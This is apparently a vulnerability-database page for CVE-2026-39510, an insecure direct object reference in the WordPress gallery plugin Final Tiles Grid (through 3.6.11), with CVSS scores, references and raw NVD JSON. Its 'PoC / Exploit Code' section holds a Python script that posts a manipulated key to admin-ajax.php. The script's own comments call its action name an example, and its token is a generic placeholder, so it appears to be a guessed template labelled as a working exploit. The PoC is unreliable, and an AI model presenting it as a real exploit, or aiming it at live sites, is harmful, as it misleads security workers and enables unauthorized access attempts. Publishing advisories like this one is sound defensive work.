CVE-2026-39510

Description

Authorization Bypass Through User-Controlled Key vulnerability in WP Chill Image Photo Gallery Final Tiles Grid final-tiles-grid-gallery-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Image Photo Gallery Final Tiles Grid: from n/a through <= 3.6.11.

CVSS Details

CVSS Score

2.7

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Image Photo Gallery Final Tiles Grid <= 3.6.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://example.com/wp-admin/admin-ajax.php"

# Vulnerable parameters
# The vulnerability relies on manipulating a user-controlled key or ID
payload = {
    "action": "ftgg_get_gallery_data",  # Example action name
    "gallery_id": "1",                  # Target ID
    "auth_key": "bypass_token"          # Manipulated key
}

# Send request
# Note: Depending on PR:H, authentication cookies might be required
cookies = {
    "wordpress_logged_in": "..."
}

response = requests.post(target_url, data=payload, cookies=cookies)

if response.status_code == 200:
    print("[+] Potential Exploit Successful")
    print(response.text)
else:
    print("[-] Failed")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39510
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39510
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39510/
[4] VulDB https://vuldb.com/cve/CVE-2026-39510
[5] https://patchstack.com/database/Wordpress/Plugin/final-tiles-grid-gallery-lite/vulnerability/wordpress-image-photo-gallery-final-tiles-grid-plugin-3-6-11-insecure-direct-object-references-idor-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39510", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:25.210", "lastModified": "2026-04-29T10:17:26.493", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in WP Chill Image Photo Gallery Final Tiles Grid final-tiles-grid-gallery-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Image Photo Gallery Final Tiles Grid: from n/a through <= 3.6.11."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/final-tiles-grid-gallery-lite/vulnerability/wordpress-image-photo-gallery-final-tiles-grid-plugin-3-6-11-insecure-direct-object-references-idor-vulnerability?_s_id=cve", "source": "[email protected]"}]}}